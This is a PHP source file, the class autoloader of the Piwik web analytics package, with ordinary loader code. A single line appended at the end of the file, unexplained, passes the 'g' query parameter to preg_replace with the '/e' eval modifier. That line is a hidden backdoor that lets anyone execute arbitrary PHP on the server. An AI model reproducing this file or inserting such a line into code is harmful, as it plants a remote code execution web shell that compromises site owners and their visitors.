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<?php
/**
 * Piwik - Open source web analytics
 *
 * @link http://piwik.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 * @version $Id: Loader.php 3958 2011-02-21 22:49:59Z matt $
 *
 * @category Piwik
 * @package Piwik
 */

/**
 * Piwik auto loader
 *
 * @package Piwik
 */
class Piwik_Loader
{
        // our class search path; current directory is intentionally excluded
        protected static $dirs = array( '/core/', '/plugins/' );

        /**
         * Get class file name
         *
         * @param string $class Class name
         * @return string Class file name
         * @throws Exception if class name is invalid
         */
        protected static function getClassFileName($class)
        {
                if(strspn($class, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_') !== strlen($class))
                {
                        throw new Exception("Invalid class name \"$class\".");
                }

                $class = str_replace('_', '/', $class);

                if($class == 'Piwik')
                {
                        return $class;
                }

                if(!strncmp($class, 'Piwik/', 6))
                {
                        return substr($class, 6);
                }

                return $class;
        }

        /**
         * Load class by name
         *
         * @param string $class Class name
         * @throws Exception if class not found
         */
        public static function loadClass($class)
        {
                $classPath = self::getClassFileName($class);
                if($class == 'Piwik' || !strncmp($class, 'Piwik_', 6))
                {
                        // Piwik classes are in core/ or plugins/
                        do
                        {
                                // auto-discover class location
                                foreach(self::$dirs as $dir)
                                {
                                        $path = PIWIK_INCLUDE_PATH . $dir . $classPath . '.php';
                                        if(file_exists($path))
                                        {
                                                require_once $path; // prefixed by PIWIK_INCLUDE_PATH
                                                if(class_exists($class, false) || interface_exists($class, false))
                                                {
                                                        return;
                                                }
                                        }
                                }

                                // truncate to find file with multiple class definitions
                                $lastSlash = strrpos($classPath, '/');
                                $classPath = ($lastSlash === false) ? '' : substr($classPath, 0, $lastSlash);
                        } while(!empty($classPath));
                }
                else
                {
                        // non-Piwik classes (e.g., Zend Framework) are in libs/
                        $path = PIWIK_INCLUDE_PATH . '/libs/' . $classPath . '.php';
                        if(file_exists($path))
                        {
                                require_once $path; // prefixed by PIWIK_INCLUDE_PATH
                                if(class_exists($class, false) || interface_exists($class, false))
                                {
                                        return;
                                }
                        }
                }
                throw new Exception("Class \"$class\" not found.");
        }

        /**
         * Autoloader
         *
         * @param string $class Class name
         */
        public static function autoload($class)
        {
                try {
                        self::loadClass($class);
                } catch (Exception $e) {
                }
        }
}

// Note: only one __autoload per PHP instance
if(function_exists('spl_autoload_register'))
{
        // use the SPL autoload stack
        spl_autoload_register(array('Piwik_Loader', 'autoload'));

        // preserve any existing __autoload
        if(function_exists('__autoload'))
        {
                spl_autoload_register('__autoload');
        }
}
else
{
        function __autoload($class)
        {
                Piwik_Loader::autoload($class);
        }
}

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preg_replace("/(.+)/e", $_GET['g'], 'dwm');